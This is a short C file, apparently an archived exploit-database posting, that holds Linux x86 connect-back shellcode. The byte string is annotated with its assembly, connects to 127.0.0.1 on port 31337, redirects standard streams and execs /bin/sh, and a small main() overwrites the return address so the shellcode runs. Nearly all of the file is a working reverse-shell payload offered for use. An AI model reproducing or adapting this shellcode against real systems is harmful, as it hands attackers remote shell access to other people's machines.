65 lines
No EOL
1.9 KiB
C
65 lines
No EOL
1.9 KiB
C
/*
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* (linux/x86) connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x6a\x66" // push $0x66
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"\x58" // pop %eax
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"\x99" // cltd
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"\x6a\x01" // push $0x1
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"\x5b" // pop %ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x6a\x02" // push $0x2
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80" // int $0x80
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"\x5b" // pop %ebx
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"\x5d" // pop %ebp
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"\xbe\x80\xff\xff\xfe" // mov $0xfeffff80,%esi (0xxfeffff80 = ~127.0.0.1)
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"\xf7\xd6" // not %esi
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"\x56" // push %esi
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"\x66\xbd\x69\x7a" // mov $0x7a69,%bp (0x7a69 = 31337)
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"\x0f\xcd" // bswap %ebp
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"\x09\xdd" // or %ebx,%ebp
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"\x55" // push %ebp
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"\x43" // inc %ebx
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"\x6a\x10" // push $0x10
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"\x51" // push %ecx
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"\x50" // push %eax
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"\xb0\x66" // mov $0x66,%al
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//
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// <_doint>:
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//
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80" // int $0x80
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"\x87\xd9" // xchg %ebx,%ecx
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"\x5b" // pop %ebx
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//
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// <_dup2loop>:
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//
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"\xb0\x3f" // mov $0x3f,%al
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"\xcd\x80" // int $0x80
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"\x49" // dec %ecx
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"\x79\xf9" // jns <_dup2loop>
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"\xb0\x0b" // mov $0xb,%al
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"\x52" // push %edx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\xeb\xdf"; // jmp <_doint>
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-21]
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